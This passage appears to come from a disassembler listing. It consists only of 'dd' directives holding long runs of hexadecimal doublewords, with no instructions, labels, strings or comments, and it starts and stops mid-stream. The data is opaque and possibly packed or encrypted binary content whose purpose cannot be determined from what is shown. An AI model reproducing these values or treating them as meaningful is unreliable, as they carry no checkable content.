3D7C70E6h, 78992C5Ch dd 0FC47D900h, 2B2AA203h, 0BB10000Bh, 7A87AB2Fh, 1E0707BDh dd 4D1734ACh, 0EF71AA20h, 16F6003Bh, 4C21459Eh, 860037EDh dd 9833CF96h, 56CC42h, 0F0C4C24Ah, 91246AA8h, 6B4F7000h dd 1A2F3F7Eh, 0B439006h, 57FBDAB3h, 0EE85F087h, 3C249980h dd 1B009294h, 602181EFh, 12BCB16h, 380C4769h, 0FCACA66Bh dd 0BB505A4Dh, 2003FBB0h, 4EAA143Fh, 0C1B3E8DDh, 0D30300DEh dd 16410753h, 1EFEA619h, 0A3AEFF00h, 0C011CF4Ch, 0D5060232h dd 7116C87Ch, 0F2A7D880h, 0F0008493h, 69E4A38Eh, 8B3440h dd 788F836Dh, 2518D70Bh, 7B019CA8h, 0CBA5800h, 0C7174099h dd 0DE72DCh, 6B04A1Ch, 92B98C5Dh, 5782D900h, 4F5826C4h dd 0AE9D010Fh, 0F7144244h, 9E3E853h, 1D16CE00h, 0D4C560B7h dd 846200D7h, 4AFDEB4h, 0E2002FBDh, 56C7E9Bh, 0B687CFh dd 1DAC33B8h, 511CBEF7h, 12F3000h, 0D5A10D90h, 5F1B15A6h dd 791C9093h, 5533C005h, 0BC466FEAh, 0EBE87300h, 6A2AB977h dd 0FA080E42h, 8D40A7C3h, 34B280AFh, 22BC5100h, 0E947DC0Bh dd 0DF4F0062h, 0BDC905B4h, 70007A3Eh, 43FA9025h, 131BA5BEh dd 929DB37h, 758031CEh, 0F0186B2Fh, 2AA6CF05h, 9447BB8Ch dd 24305698h, 7344879Fh, 600E0080h, 2E8FCF51h, 2600BAC0h dd 0D27A1246h, 1E3C44D3h, 401C4A0Fh, 58A990BBh, 7B3915F6h dd 43DE1C7Ah, 6F13C140h, 3B9811Ch, 9EBA05C7h, 17B88B97h dd 0AC006A92h, 99B64360h, 729FB378h, 0A03002Eh, 0FE36E18h dd 0A31EFA84h, 76006244h, 784F9D08h, 1CE8797Eh, 852D35A8h dd 808697EDh, 9B6B3DECh, 63021F2Ch, 0C2597001h, 0AADC79A4h dd 2420F15Ah, 5DF216DDh, 3900BEBBh, 918EB431h, 0BFBC014Ah dd 6E49D16h, 6641C2C0h, 55E7C019h, 0F34E3100h, 68A457ABh dd 3FE800FDh, 0BDF6F0D7h, 6F0061AAh, 9BFFB5D6h, 132CEAh dd 81335770h, 0BB2B3640h, 6E2E0BF2h, 19009CC8h, 0AE5DC14Eh dd 12950BD5h, 0A580BC17h, 0ECC401CCh, 55007A70h, 0DD9A5990h dd 1EF110h, 0BC67791h, 0BDD42C47h, 5195500h, 168AD02Dh dd 28150026h, 7C70C30h, 0BE026046h, 9C9FFFA9h, 142B40CDh dd 78E20128h, 135773FCh, 9497026h, 0A6AE6B00h, 7115F522h dd 67D4583Ah, 0CC410071h, 5C68ACD5h, 0A400C433h, 0F778C8B7h dd 9367135h, 9B4DC081h, 6268C800h, 900E6F2h, 3ACC957Bh dd 5FDB73h, 893B8D46h, 0F04ADA06h, 907CA30Eh, 0F21C602Ch dd 11E5D6h, 859DE6C4h, 5EC1F46Ah, 0D1B30400h, 0F6E71F1Ch dd 71030CB6h, 0FDE0FF29h, 294AB00h, 33C0A559h, 0FC16006Eh dd 0B4BE629Dh, 380013B3h, 6697FE77h, 3DD8B02Ah, 0C583D317h dd 0C2F5E3A2h, 0BEEEC8B8h, 4DE3Dh, 84A84F0Eh, 186498h dd 0F2078A9Ah, 3B0F901Ch, 0B54B7501h, 33B2E086h, 51C482CDh dd 11160021h, 801B20D2h, 0AC7B90B0h, 7D3C7300h, 0B8381271h dd 5169E875h, 0D0F78102h, 285C60ECh, 842124h, 9458AA5Bh dd 0FF38D710h, 993C1700h, 96CFB42Bh, 0E07F68Fh, 1C40CC32h dd 0C20669A0h, 817B5D08h, 1400487Fh, 709C59A3h, 0FF2730h dd 0E1EDEC6Fh, 3AA93C62h, 0E8432300h, 0A1D5F745h, 0F9D70092h dd 7A7D9F32h, 6100EFC1h, 0E34DDA16h, 0ED3DE0Ah, 6C41688Ah dd 0A05C2BC3h, 2D7DBCD8h, 3252B900h, 3669D44Dh, 0F6DD00AEh dd 45851158h, 0CF002FDBh, 0FFA6EAECh, 0A4E78Ch, 0CE8429E6h dd 30EB652Ah, 0E0542400h, 7FDA087Ch, 0C9730086h, 5105B9F6h dd 82003F1Dh, 0D64FEC6Ah, 2D0E712h, 70C5BB11h, 58C07194h dd 0D9004CE0h, 884FF2A3h, 0B562CBAh, 8709AB7h, 80BE4687h dd 3C77A505h, 2164B200h, 0FF407E55h, 0ED490075h, 0E59B36Dh dd 0BC002B3Fh, 721D0128h, 0C233F4h, 827942Ch, 37F999ADh dd 422DA200h, 18107EDDh, 4875001Eh, 2A1CA34Ch, 0E51E1AA6h dd 0AC0E7F5h, 834BBEA7h, 13411CF1h, 68CA0065h, 0FD1FDB2Bh dd 0CEF9FB00h, 1226320h, 277F0062h, 0E4C65E05h, 0AE3D965Ah dd 5C7A8749h, 190F629h, 1D9BBBh, 0F5B1BFDh, 0A5AFBD4Eh dd 0C95D2C00h, 8503D6BEh, 86090F7Dh, 1BE01F92h, 4ACBF606h dd 0C7A0A00h, 4FD3C075h, 0B76C0029h, 9FF5A2E9h, 2400C29Eh dd 668B8528h, 9DAAF6h, 0FCBA8E50h, 7C42EB30h, 0AC559400h dd 70F73A82h, 2E895h, 0B92257CFh, 0A6ED432Bh, 15F48AE8h dd 65165C90h, 1300AF5Fh, 27FDAC67h, 96DB0158h, 0D56115BBh dd 68D2E017h, 0F7A0D3Ch, 0E0F308F5h, 558B0112h, 9DA500B2h dd 0CFA02EFEh, 0F100239Eh, 0BF8DDFDEh, 11E279Bh, 0DA0A1ABAh dd 71484F3Eh, 6848B48Ch, 0C746BA87h, 9AF1B89h, 0B3C06998h dd 5218506Eh, 40110C90h, 11C0022Fh, 8E7CF534h, 3327AFE0h dd 0F9597714h, 0EBD90C9Ch, 0C10D3196h, 7907BBD0h, 0D64E207Eh dd 9E021E18h, 5C68E921h, 161FDF59h, 9D88008Ch, 0ABA858B1h dd 0C0A47300h, 8A9B30Ah, 0DEF200FEh, 3680A35Dh, 1AE405CDh dd 3FED7802h, 0E0CB9617h, 19B8646h, 5630AD5Dh, 0D4064D54h dd 5E1EB140h, 24009FF9h, 0D2A21F34h, 4F5F0011h, 4491DFD5h dd 50071EC1h, 845D94AEh, 0F098B9C0h, 5287001Ah, 2D65F4F3h dd 0DF1E033Eh, 77003F6Bh, 0B3B8D8AAh, 4F210010h, 8DFF76B1h dd 2000E06Ah, 0E61A4591h, 0EA45A1Bh, 0EEBDDF5Dh, 0A21507E0h dd 56797254h, 0EC0FD800h, 0CF4B9465h, 0B34D00D9h, 33136828h dd 8E1252C7h, 0FA74h dd 8083E7DAh, 0CA90058h, 855D8914h, 8C5477E9h, 0DC3FF4A4h dd 0B37C8074h, 5988D4DFh, 1F271E84h, 0CC2AC028h, 0F9ABCF47h dd 8E627C38h, 0E1198822h, 8C8364D8h, 0F3499C0h, 0A38466FDh dd 9D5EC741h, 7996D878h, 6DCAFB03h, 0C222DFE9h, 0BEB040E3h dd 1FADFE94h, 92D6Ah, 3E259315h, 610060C8h, 3BE46B79h dd 42F51E9h, 1EE2FC35h, 0FAAC91DAh, 2B78C045h, 166365E0h dd 91E7F718h, 0D0960B9Dh, 0DDA7002Ch, 0A405E5CEh, 8B915800h dd 1EE707E9h, 95C51E1Fh, 0EA45C361h, 5801DDE0h, 0BD110CBh dd 7020AAD2h, 7B373E56h, 1200CCBEh, 2D4F55D4h, 1C000428h dd 0EA8BE73Ch, 0E4FE7Ah, 2F60B5DCh, 45DAC346h, 2882FD1Eh dd 8F6849h, 58480681h, 4CCF00ACh, 0EFE362E5h, 780A63D0h dd 46C6475h, 0EF3170h, 22CC94E5h, 435876A7h, 8847A401h dd 0F5D8F682h, 0EA314980h, 1C252948h, 18A9080Eh, 0CD2E00AAh dd 826210h, 0A7BAA183h, 9CDBB0F9h, 69C07C7Ch, 0C24D6555h dd 2C270796h, 50F4687Fh, 69D7627Eh, 200E7800h, 0F90B4341h dd 93630011h, 0B38AD9FFh, 5C009BC3h, 0BEDCEDEBh, 1FCA92Eh dd 7EA212D5h, 7A3875C0h, 7DE3DEF0h, 5BAE0FE0h, 809E194Bh dd 69BB3578h, 0A600BC0Ch, 93AF16A4h, 0F266DCBh, 0BF466EC2h dd 4CF38FA0h, 0C80121D5h, 0FA242E44h, 0A3D8EA26h, 75AB0305h dd 0E64BD90Dh, 8EB891A1h, 20F830h, 2C3FB4D0h, 632D06FFh dd 417C472Bh, 32AE4900h, 6E755EB2h, 7F4616ABh, 40E11857h dd 7C01DB93h, 0D2E78127h, 980986Bh, 2597E363h, 7B0CFC3Ah dd 51F26418h, 70C700C8h, 406FBB38h, 16F09A53h, 4EF12200h dd 262F7B03h, 783518DBh, 47C6A0D1h, 423E2198h, 66BD036Ah dd 9936BAFBh, 3DF0CFADh, 9B81001Ah, 67DB9463h, 6E00DC6Dh dd 0D7F621E8h, 24DAC5Fh, 35759E64h, 40D5185Ah, 0A446FB2Eh dd 4297690h, 1FE3D434h, 1FB280Ch, 8B8A541Bh, 0F441774Ah dd 62155C59h, 88874C3h, 450FBF22h, 0CF658706h, 24868835h dd 33B0703Bh, 0DEDD7C1Ch, 0CB8254h, 0A963439Eh, 0F3AA7269h dd 5C09A0C3h, 59F897h, 5B98E861h, 86329318h, 0DC789400h dd 0FE34503Dh, 0E20490ABh, 64D900B1h, 3ED81FCh, 9F7168FAh dd 0C9AB432Eh, 0F6E6C930h, 0C7C13CA1h, 11A08E04h, 2673C01Fh dd 0D605478Dh, 0DF145665h, 6E718B80h, 87D5007Ch, 8EA59A17h dd 7405AF3Ch, 0D6CEE809h, 0A998CC40h, 1566460h, 0ADA03815h dd 70A13DFFh, 0C624F032h, 0AB003C32h, 58CA1030h, 28D30095h dd 34E42D3Ah, 3713A7FFh, 2F1DE2FBh, 0C6557540h, 141AEA6h dd 94A4C5BDh, 0F8E23DBAh, 30C03290h, 0C6D61F4Ch, 4F160F69h dd 63C00E8Eh, 0EFF9B147h, 7D3A9277h, 12AF1804h, 96A920h dd 759524F0h, 0AEC25DCAh, 0A4B4FA00h, 92B68A7Bh, 4B00083h dd 0F2D009C5h, 4B00345Eh, 0F1B86E8Eh, 0FA70552h, 0BD8A4116h dd 4986A84Eh, 0E7030B2h, 0F86DA100h, 110C385Bh, 0A0190C16h dd 9620B18Eh, 28EA4205h, 80AB2B2Ah, 0B79A4FEBh, 2C011574h dd 26DA21Ah, 0B0BD6C10h, 8F47208Ch, 807F3029h, 4B1CA41Ch dd 347CE540h, 94A001h, 2B0E9DF2h, 0CC286224h, 30846C54h dd 7A51FB00h, 8409AC1Ch, 327F009Ch, 12BE915h, 0CE0F388Fh dd 2C43AB8Dh, 1E1FA0CDh, 40D10DAFh, 3295D97Ch, 7742150h dd 88A74A30h, 16E1F798h, 6CCD44h, 56B450F3h, 7D0124D2h dd 0E3DBBF03h, 74E8A490h, 79C000FBh, 523D4594h, 0CD1CA3C2h dd 0A8807326h, 0FB2947F4h, 0CB270962h, 4380250Eh, 0E6249F7Fh dd 0AB2A121Bh, 0C90598F9h, 1C2C034Bh, 1E83289Ch, 0FD98E814h dd 99EB009Ch, 5085A143h, 0D43050FEh, 0ABC50318h, 5D157D9h dd 223D93Bh, 0FE998795h, 7D531031h, 946E680h, 567BF4B4h dd 4059B600h, 140C73FFh, 501F4D19h, 94ED53C0h, 0C8A50477h dd 3494818Ch, 0F6712803h, 1AE898E1h, 5AF300ECh, 0D9638146h dd 0D200C0BDh, 3DA0698Dh, 19BE27CCh, 68C84B39h, 6446E6A1h dd 0C0F18602h, 1836E1BFh, 50811FBAh, 1C5962DCh, 0C0FC5B24h dd 0F5E36431h, 703B134Ch, 5E9580A0h, 26DE9796h, 7D160019h dd 5212389Ah, 0E006768Ch, 7E8B143Eh, 8DDB1638h, 302F0D9Fh dd 0D9E46010h, 73A0AF5Eh, 532D00E7h, 40C11525h, 5809E399h dd 0F6B321h, 0AF640601h, 940E002Ah, 81BBCF5Eh, 3717A8Bh dd 8490C806h, 135858CEh, 0E2C510h, 167AD4DDh, 7E008957h dd 632CE1FDh, 0E82A1D73h, 0C11A0C12h, 39686A28h, 7FB103Eh dd 860DE9FDh, 3281C377h, 4CD4719Bh, 60B100BCh, 1664F83Fh dd 39C022C1h, 0EBD815D0h, 48A600CDh, 7A42FA2Ch, 6263D35Bh dd 0E8F2E720h, 0F4F117h, 9FAFE2DEh, 2B513D96h, 0EB3AD600h dd 60929A2Dh, 41D70004h, 592EF3A7h, 830002FFh, 93FE169Dh dd 828A5Eh, 0C8810F25h, 96CD1F9Bh, 0E8A13800h, 850880FDh dd 9A2B001Bh, 301DA8FEh, 7E1C31E4h, 0A804404h, 2FDDE309h dd 0F2240A08h, 81E4255Bh, 3DE58158h, 3EA4408Ah, 540F2162h dd 7C4E17h, 5584682Eh, 27B60050h, 5144E0BCh, 39038535h dd 599AB499h, 0A074DBF7h, 4FF84Ch, 0C421C55Fh, 5358513Ch dd 1B87FE00h, 2420ABA9h, 85AD18C1h, 6506789Bh, 58A41556h dd 9AD50179h, 0F95CEA9Eh, 9944A451h, 0D73FA007h, 0F7005EAEh dd 7F0931D1h, 90EC1Eh, 1B2FBD8Dh, 0DC1FDF91h, 42E37713h dd 629E7304h, 0BF783490h, 0E2E00FEBh, 0A8318D6h, 72A31DE1h dd 53232103h, 0CB899470h, 76E08806h, 2820E715h, 9F6A00F5h dd 0FED350EEh, 1707F173h, 8611674Bh, 3AB8E590h, 0EE5700CFh dd 93292E7Ah, 74F86E17h, 0D5F43B00h, 0FB87CC14h, 28B160C7h dd 0B6CAAC7Fh, 22D28E00h, 7991C80Eh, 3857612h, 5321EEB4h dd 0F1A0EF44h, 0C700F8CFh, 2AEA3C9Fh, 16E82B3h, 1187D1DAh dd 8321FA2Bh, 0F388FC40h, 581ED196h, 7310B30h, 5137AF29h dd 0DA1406Ah, 8E003660h, 105CB7DFh, 6E06BFh, 0B24C8820h dd 2DE4ED9Eh, 580E8100h, 5FC62232h, 51DA1FEAh, 0AC460EE3h dd 4988C7A0h, 2107FEE5h, 2E84D5F5h, 6D8F726h, 441136D9h dd 0B27E38CBh, 0C194CE81h, 7FAC7837h, 60ED043h, 0B6C0E68Dh dd 0E291D746h, 224A3101h, 0F6473324h, 0F89BA850h, 0C0C66017h dd 0D5AA6E55h, 30518C1h, 0E500C979h, 0A075F058h, 0D257C604h dd 4C0AD307h, 1C21564Ch, 9A00B9C6h, 0A1B170D2h, 0E0F85305h dd 0F575B9FEh, 7525C00h, 0C52D1ACBh, 7C6B0018h, 0A8D3EC2Bh dd 5700EF5Fh, 99057D9Eh, 0DD04C7h, 21C95FAh, 0FCC5CA1Fh dd 0E7007EECh, 8E96510Dh, 9A1BCEh, 2C0660B3h, 6BC3D5B9h dd 788AB00h, 0AAF69B11h, 0F0D41D18h, 9E2A0F45h, 6641A700h dd 0F00852Fh, 9F88B7DEh, 97A3E7h, 0BF481EF2h, 9C99A88Dh dd 2D335A1Eh, 0C0255CCFh, 0D58FA3D8h, 0D0480078h, 5B148591h dd 0BB293DB3h, 0DC01045Ah, 969CB482h, 8DA0C5Eh, 0F6003034h dd 0F02CF772h, 9F6CC4h, 0E4BEFCE9h, 0EEF8A4EBh, 19CD6630h dd 88E50EA0h, 0CE44FABDh, 0F7142274h, 0CF46F511h, 9F06EC10h dd 10844250h, 55092115h, 2186A808h, 5C1548C5h, 47561030h dd 1362D488h, 5854859Ch, 76641845h, 6C4C0C0Ah, 45757988h dd 8A0C4570h, 44300C54h, 0D800B819h, 0B307E714h, 373B416h dd 27DDC3D7h, 0DDC587h, 209ABBE0h, 3D071E3Ah, 0D02DAC0Eh dd 0F980B8DAh, 530B2988h, 0D7A11C28h, 0FC3095F2h, 4E3C1A00h dd 172482B1h, 0BF9CB505h dd 77C0B458h, 1309B67Ch, 1FAAAD2Ch, 0C0B55C1Ah, 559E4FC5h dd 0F803B7D3h, 26B8DCE3h, 0EB70A0E4h, 7792000Dh, 0FE862B2Fh dd 0E077AF9h, 0F6A2649Dh, 4C209BE5h, 3C82FAB4h, 0A800081Ah dd 52234879h, 8414D6ADh, 841ED2h, 5CF81719h, 12852754h dd 0F2EED73h, 0EAA0C2DCh, 804F3821h, 9DB53038h, 0D14060DEh dd 0B39F2E08h, 1ECD2B07h, 1F3C881Ch, 92BC78h, 8268290Ah dd 0F3E8150Dh, 0B9CCB80Fh, 6C456270h, 0C0BC03h, 0E28407Ah dd 9F3F3430h, 8B82B703h, 0C7B9C4h, 35DCEF29h, 9D63730h dd 0B83F3FE8h, 209E805Eh, 0A802CED8h, 98CA2BA0h, 59BC005Ch dd 101E552Ah, 49226000h, 2D4F94FFh, 9F580003h, 0C0BDDF1h dd 4207830Ah, 7E07EB1Bh, 0A0A9A40Fh, 6DB9B480h, 0C09036h dd 475D3E71h, 9EEBB5C4h, 0B3299F05h, 95C15814h, 29805B83h dd 8124E12Dh, 0E8065D9Dh, 0B357949Eh, 43C610B0h, 23B0E8D7h dd 5451547Ah, 0EF034C4Eh, 65482AA9h, 0AC221698h, 89B22C3Dh dd 92F405h, 82D3BD30h, 48D77F64h, 8E09385Ch, 3C00B4BEh dd 848F7965h, 0CD4EF138h, 0B8BD0058h, 0CD28ED72h, 5360041h dd 9ED02A48h, 833BD652h, 82744956h, 17781481h, 7E18B687h dd 0C2B944C0h, 0C9410196h, 0F3053AB5h, 33D08439h, 0CC81DC5Bh dd 640715E0h, 494D081h, 1B780D74h, 0B4018B18h, 19FBA20h dd 274E84F4h, 4B9C80D2h, 3AB0A0ACh, 9089007Ch, 0C41C5F12h dd 26483E47h, 0D84AA194h, 0DE87D422h, 7F5435F2h, 89FB1544h dd 76007ECCh, 0EB31FDCCh, 91272253h, 60214334h, 0B3FB7490h dd 1F82FF12h, 0E6570C00h, 4806EB3Dh, 5BEDE810h, 0A1D103DCh dd 0E8D59ADCh, 58D6C2Eh, 0C1A9B83Bh, 2A8428A3h, 9F017702h dd 80B5D0DCh, 8E8FA0A0h, 12B63CAFh, 6019EE7Dh, 64DBA87Fh dd 6C008999h, 0FECC1794h, 3E31BF59h, 3809805Ch, 422BC12h dd 0CC615FA7h, 0FB06C815h, 0C9800D07h, 26E3D1DDh, 0D020F565h dd 0B89FED96h, 92F7D5Eh, 0AC2158B2h, 21C06415h, 4D745898h dd 0A400089Ch, 234A6A2Ch, 9B007132h, 82EBFC07h, 20DEFD8h dd 0D3E87BA7h, 0C45F47Fh, 0C4F4CD79h, 262E0481h, 886A7527h dd 0FEA6804h, 1E28EC01h, 0A16BC9FFh, 60FC95DAh, 0E2B0BA8Fh dd 0D6D35802h, 0A018A834h, 5E5AB1F4h, 52FE1450h, 0B1E08021h dd 0D22CDBE6h, 16F42828h, 3D2AE312h, 0AA9010E8h, 65008103h dd 6C2743D7h, 14F89736h, 80BDAA6h, 0DB3391Eh, 0E0400CF4h dd 0EDF0B4AAh, 711F51DEh, 5C389406h, 65490411h, 5019199h dd 1C91BE9Eh, 0FC609FDDh, 40640B9Ch, 50A42F76h, 0ED408116h dd 48820827h, 6E187FFEh, 0EB4D0BEh, 9E038171h, 0EE753529h dd 48D801FDh, 0CDE67133h, 869C53AEh, 94E283D8h, 148440E1h dd 40C0F33Bh, 7833A38Dh, 6D3012BCh, 0B7000EB5h, 86B93D68h dd 6610B9CDh, 0DCF638h, 3B19589Ch, 0B06527BFh, 3056C401h dd 0AB334785h, 0E404C075h, 9F17C1AEh, 0C3B0520Ah, 591F904Eh dd 5BC25C1Fh, 809316E2h, 7C9F4C9Ch, 8B5400F3h, 0F1AA393Fh dd 0A00D5BDh, 0DF4FDDF5h, 0C0685DCFh, 0D225A78Eh, 30713CCh dd 58E54E89h, 0B50A7190h, 620C008Ch, 1E6B4F07h, 8E00F28Fh dd 18E95CC8h, 737436Dh, 70471B75h, 7349874Dh, 2CD82BBFh dd 2407EC84h, 58A3232Fh, 9AD87450h, 7F79EBh, 3D183033h dd 4A404592h, 0AF21DD1Eh, 50B24880h, 986B753h, 0C3A37268h dd 0E7513980h, 173EFC18h, 4E92C5Eh, 4F32803Ah, 0B5A48784h dd 0B5CF4C23h, 5D4ADB00h, 556C0E7h, 0FBB7CC00h, 2E47AD30h dd 0D27840h, 5CAA3A11h, 44603871h, 0BA9A5200h, 0EDA8E2E1h dd 7E7CC4h, 0A58109D3h, 3E8F7898h, 7586F700h, 0DDCFDEA7h dd 1E977262h, 40CE9917h, 56BC18B4h, 1C00D91Ah, 0B204F1A1h dd 0BD782Bh, 25867EE7h, 0D2A1002h, 62489500h, 0AD374C23h dd 0A1F30F32h, 61A0E89Eh, 0C7272594h, 1BC9BB18h, 3BA6818h dd 0E04C8DDFh, 0A2834BBDh, 0E2E787B0h, 0EDBB1218h, 15C9E70h dd 4964E0CDh, 6036A818h, 0AFEC1790h, 0F4E11C00h, 714CA156h dd 0A9910CF1h, 94611BBBh, 0B4AE6000h, 0E249ECBCh, 4C7C04E7h dd 8097CE42h, 0CBDDF25Eh, 68DC2B30h, 0EEAA4BEh, 484F7462h dd 5A083D60h, 57001A6Ah, 0FB8204FDh, 0BFE684h, 773398F1h dd 5DC3DC51h, 40C520Fh, 9EB56654h, 211C00F0h, 42DC32D1h dd 60C0D8E1h, 0A3537126h, 7F480023h, 14EF85FEh, 524B992Ch dd 8248AAA8h, 31B950Ch, 4A71E18h, 7E095287h, 0C8085418h dd 0DEB14F6Ch, 0C9082900h, 0DA392044h, 3A2200A5h, 59ACBCADh dd 0FEE88904h, 306B6Eh, 0C9218823h, 804B07E3h, 0A15026C8h dd 0A3873601h, 0B6453418h, 5F184C2Eh, 94C113Ch, 0DB9DA100h dd 877F8046h, 0F49B0FBBh, 0EB8A0A8Ah, 547B840Ch, 133942F1h dd 41F72247h, 44F61910h, 43426F45h, 24DE0214h, 30337314h dd 44819008h, 0F5D12784h, 0AEA5245h, 8A0C2B18h, 0A3C1128h dd 80CD25Fh, 1B4210F9h, 0FD3C8242h, 0A30C820Ch, 5026115Fh dd 0F432D760h, 538A24ADh, 4B1548D7h, 0D0A43C18h, 0B42FF60h dd 0C7A8D14h, 71E5C300h, 457977B7h, 58B40B00h, 0A87CB3FCh dd 398A8872h, 0A008E084h, 843D4718h, 18C00AE8h, 0A0987BC1h dd 61F9406Eh, 0CC1849D8h, 0B57C4422h, 6030E76Fh, 0DC8BF239h dd 994500C6h, 0D73F89BCh, 470E93D3h, 0A0F89F78h, 58B1F57Dh dd 218D03A5h, 0CC0DE07Ah, 29E96A0Fh, 0F20B60D4h, 19B90EAh dd 95124588h, 80B6D8ECh, 22F82B36h, 7B76E1Bh, 34CB9B3Ah dd 8381C0AEh, 0D707A731h, 50A66F56h, 0CDBCD510h, 0A180EFA2h dd 0E3BEB2FAh, 44413148h, 0C0AAF2E0h, 12CACD89h, 9F0152A9h dd 92B1C17Bh, 9B30277Fh, 3A760A89h, 561CDD41h, 0DBA3B000h dd 902B55FBh, 0E7B1C024h, 0E6B84367h, 0A0BAE226h, 0A0CC5130h dd 0B34E038Eh, 8006F2B1h, 9B0C587Fh, 807DAB7Fh, 7EB80063h dd 8D6E8FF4h, 8419E311h, 7C583642h, 30BDAFE0h, 0AE50E753h dd 911467BBh, 40800630h, 0E862CA14h, 1BB0ED68h, 0A5797F88h dd 317CA90Eh, 1B60C016h, 3BD8A1DDh, 0D3964589h, 0F19BC03h dd 0C2688DA7h, 0C3690EA6h, 0F8AB98EFh, 5EC90379h, 6325D371h dd 0D467B814h, 0BDD61DE0h, 800FA92h, 19BF0282h, 629E00A7h dd 0DC0DF12Ah, 5F00153Dh, 8CDE6745h, 7625887Dh, 0B99131AAh dd 41AF7B80h, 88A2B068h, 7009CF80h, 0B21D3524h, 53443C2Ch dd 86FE869Fh, 0C31E965Ah, 913A998h, 431C6E01h, 98878CFAh dd 822F5FCCh, 0A082DFB2h, 6048D6D4h, 0D60EA06h, 0F722C9A1h dd 0E9B502A9h, 0D731DD78h, 0A449700h, 5E350E57h, 9CA0237Eh dd 0BD46DD88h, 865F21CFh, 0E10448Fh, 1C93FB15h, 70B05E80h dd 31C5632Bh, 847306C9h, 78C4D04Ah, 6F3D30A0h, 0B2C51790h dd 25304402h, 4B0FD3BEh, 78CBF048h, 46AF249Bh, 30DA92BCh dd 0B6C9777Ch, 58B07B03h, 88A50966h, 12874B69h, 1366B03h dd 0A3BDA6A0h, 48885144h, 7048207Ch, 9AB22701h, 9E39EBB0h dd 0C9C820h, 4A7915F5h, 7D34F79Bh, 0A8FD9828h, 0E36E6604h dd 5BC68DBEh, 0EA11071Ah, 0C74184A1h, 1575E0ABh, 1D74B61Ah dd 0F9AE2A01h, 8EDB4333h, 7E0A1024h, 0E53B003Ah, 58E2D164h dd 0FC00E463h, 0F5566AF9h, 7CCC34h, 0AB03383Eh, 1DB2A525h dd 0A1C33Fh, 0B723AC52h, 0E0229Ch, 0C177012Bh, 99ED3387h dd 4A000DEEh, 2E7E5542h, 9848B9h, 979C312Fh, 0A6F2C825h dd 72093F00h, 6AFA075Ch dd 0AAD8054Eh, 70C175AFh, 6EFFCC30h, 0F4AB0085h, 7E762E7Ch dd 312DD300h, 30BD19CCh, 11B600D9h, 93384FC3h, 0CF1C09BFh dd 0DF40AD15h, 9BB56F3Bh, 0CDC633D2h, 0C4A83140h, 98488D20h dd 83320729h, 79213E09h, 709DF2E3h, 0F32000B9h, 936C10F8h dd 85BA2339h, 430ECBE5h, 0B7A99401h, 51807792h, 0D6700CCDh dd 82146BA3h, 4A0A410h, 8EB44761h, 0B2051440h, 9C0E5ED7h dd 0E0A9F1A0h, 0B186129Bh, 6D0C0357h, 97528A19h, 875F6FAFh dd 96B44F5Eh, 0A3CB8CBh, 0A0FF3079h, 6E1F9428h, 1DF9D4h dd 0B2FB1838h, 78DD300Eh, 52F85FC7h, 0CE0928A0h, 6A343E29h dd 2248D0h, 43D85D16h, 0C5954CBh, 7DAD9D00h, 671730D1h dd 63663F83h, 0CC2C0DBCh, 3E8200B5h, 0B90A1D23h, 0C34FBB00h dd 7D0C5438h, 1ACA4CCh, 28B34532h, 0C4E70FD2h, 5E0AACB9h dd 0EC234EBAh, 0DF33A906h, 16491831h, 72616032h, 0B07E1530h dd 6CDE9C6Ch, 0BB8E93Bh, 0CA942F00h, 3A1A09BEh, 0F8AB6086h dd 29130AD8h, 24A7334Ch, 0F502082Bh, 0AC99C9h, 365191F0h dd 0FBF03A60h, 6BC08A5h, 79A7610Eh, 8122312Eh, 30C37A9Ah dd 0E668C98Eh, 0A1284B5Fh, 34A0A8ABh, 0B588323Ah, 404C1D54h dd 0F2D08634h, 5907D141h, 436A1407h, 6B6EBBD0h, 2FA930A6h dd 0EBD97468h, 51A79337h, 0C3A3B183h, 8204494h, 12C4337h dd 93CD464h, 0D6E42D6Bh, 8A660ACh, 0AF5BD844h, 0C87D0A31h dd 0DBD842ECh, 55673D28h, 0F67AC980h, 0D2774CF8h, 0A3E1D300h dd 3B512903h, 0A9747E8Fh, 457CCD8h, 9580FBC0h, 19366047h dd 0F35F7A1Fh, 0E9A04550h, 2715B014h, 0EC502E4h, 0A0044C6Ah dd 0DDB17DE0h, 4A9E00A3h, 1E84462Ch, 0E8A05DAEh, 0F47ECCACh dd 0B5FDA003h, 0A0444AE5h, 1211D076h, 280AC91Ah, 0ED2AD320h dd 7824C89Dh, 728504A4h, 0C820A68Ah, 74985FE5h, 40B60243h dd 85B428ACh, 0CA50C48h, 0CC66632Ah, 0D403497Fh, 0EFAFFF4Eh dd 2451138Ch, 0A564004Ah, 20A0EC2Ch, 11FD8A37h, 32D017C0h dd 64CB026Bh, 295681DAh, 2B4830A1h, 93B0957Eh, 47210048h dd 6BD3BD2Dh, 0AE75089Eh, 900D998h, 6F28702Ah, 987B5035h dd 0D04C1939h, 48B9F92Fh, 2A008F80h, 9E015344h, 4CC89D11h dd 7F07127Ah, 0C44D686Ch, 7C1890A5h, 620009F7h, 6141E3CFh dd 0CB41Bh, 7D0D74BFh, 0B3A53110h, 654F300h, 0A860C52Ah dd 0D33509FBh, 2881891Ch, 81F90EC3h, 73058878h, 9020DEECh dd 64BE05ACh, 0C0D8C857h, 0EF5E26A6h, 1833F200h, 9513E985h dd 11980350h, 7C37C5D9h, 0A18384F8h, 0FD77FE00h, 57F7DB09h dd 2190048h, 0EAC75930h, 0E2F40E43h, 0A6D36700h, 7C23BA95h dd 1C94003Ah, 995F25D6h, 0EA036CAAh, 14F52D92h, 0B7E5C070h dd 8D745Dh, 0EFF40952h, 3A7FAEE2h, 7DDF7100h, 8F6A0AACh dd 0F9CD0176h, 0CFF22757h, 68D1F813h, 71009170h, 17D5846Fh dd 4549B8h, 66A4359Fh, 16399C5Fh, 0EEB17500h, 8E0B3640h dd 32741Ch, 3C9322DEh, 0A1D495D9h, 4A75141Fh, 2C946B81h dd 1C60C94Fh, 25191D4Bh, 0BDBE800Ch, 9C7BDDE1h, 1F7FCB00h dd 0B9A5C52h, 0DB5A0026h, 0E7BC33D1h, 0B47AFD08h, 3B492002h dd 0FF6860B8h, 1F8997E0h, 5CB1C600h, 914E1A8Dh, 0A8AF50E7h dd 0A5C7007Fh, 0E111D885h, 0A470866Bh, 7E3FD00h, 4E2776B3h dd 623B009Fh, 9372987Fh, 0A600942Dh, 0F7FE560Ch, 4091A2h dd 4131BE37h, 92A5814Eh, 88D66300h, 76DC7B54h, 5FFAFCh dd 0E3F8A682h, 601F7269h, 0CA0210C5h, 80FAB909h, 5EE5F26Eh dd 0B7D90067h, 393F4D8h, 0A60085B1h, 0D0B9AA65h, 5310F3h dd 